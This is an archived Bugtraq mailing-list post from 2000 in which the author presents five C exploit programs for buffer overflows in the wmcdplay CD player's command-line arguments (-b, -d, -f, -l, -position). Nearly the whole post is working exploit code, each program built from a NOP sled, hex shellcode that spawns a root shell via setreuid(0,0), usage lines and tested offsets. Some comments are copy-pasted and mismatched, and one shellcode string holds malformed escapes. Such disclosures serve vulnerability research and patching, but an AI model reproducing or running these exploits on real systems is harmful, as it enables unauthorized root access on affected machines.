4918266 2000-03-20 10:01 /444 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <10285>
Ärende: wmcdplayer exploits.
------------------------------------------------------------
Aleph1,
These are some more exploits for the wmcdplay originaly
advisory posted on bugtraq by the TESO crew 3/11/2000. I
wrote the exploit for most of the arguments wmcdplay
accepts. Please excuse any formatting issues my normal
server is awaitng a cable modem.
-- Larry W. Cashdollar
http://vapid.dhs.org
Exploits for:
wmcdplay - A cd player designed for WindowMaker
05/09/98 Release 1.0 Beta1
Originaly discovered by the TESO crew.
Thanks to Stealth for hellkit v1.1.
1 -f artwork_file load the specified artwork file
2 -l led_color use the specified color for led
displays
3 -b back_color use the specified color for
backgrounds
4 -d cd_device use specified device (rather
than /dev/cdrom)
5 -position position set window position (see X
manual pages)
1. Overflows at buffersize 256.
2. Overflows at buffersize 534.
3. Overflows at buffersize 786. hmmm.
4. Overflows at buffersize 786. hmmm.
5. Overflows at buffersize 1300.
<------------------------ back_color exploit -------------->
/*Overflows the -b arg (back_color) buffer in wmcdplay due
to a bad sprintf
*call. This seems to be how most of the command line
arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the
original hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 786 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0)
and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp +
offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for
shellcode and
pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr +
atoi (argv[1]),
LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-b",
buffer, 0);
}
<------------------------ back_color exploit -------------->
<------------------------ cd_device exploit --------------->
/*Overflows the -d arg (cd device) buffer in wmcdplay due to
a bad
*sprintf call.
*This seems to be how most of the command line arguments
are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the
original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 1045 /*our buffersize. */
char shellcode[] = /*generic shellcode with out
'/' ie not mine */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp +
offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for
shellcode and
pointers*/
printf ("Jumping to address %x, BufSize %d\n", retaddr +
atoi (argv[1]),
LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d",
buffer, 0);
}
<------------------------ cd_device exploit --------------->
<------------------------ art_file exploit ---------------->
/*Overflows the -f arg (artfile) buffer in wmcdplay due to a
bad
*sprintf call.
*This seems to be how most of the command line arguments
are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-fexp.c -o wmf ;./wmf <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the
original hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 256 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0)
and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp +
offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for
shellcode and
pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr +
atoi (argv[1]),
LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-f",
buffer, 0);
}
<------------------------ cd_device exploit -------------->
<------------------- led_color exploit-------------------->
/*Overflows the -l arg (led_color) buffer in wmcdplay due to
a bad
*sprintf call.
*This seems to be how most of the command line arguments
are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
*offset 390 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the
original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 534 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0)
and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp +
offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for
shellcode and
pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr +
atoi (argv[1]),
LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l",
buffer, 0);
}
<------------------------ led_color exploit--------------->
<------------------------ position exploit --------------->
/*Overflows the -position arg (position) buffer in wmcdplay
due to a
*bad sprintf call.
*This seems to be how most of the command line arguments
are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
*offset 400 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the
original -d hole.
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 1300 /*our buffersize. */
char shellcode[] = /*execve with setreuid(0,0)
and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";
/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}
int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;
long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp +
offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);
/*copy the NOPs in to the buffer leaving space for
shellcode and
pointers*/
printf ("Jumping to address %x BufSize %d\n", retaddr +
atoi (argv[1]),
LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position",
buffer, 0);
}
<-------------------- position exploit ------------------->
(4918266) ------------------------------------------(Ombruten)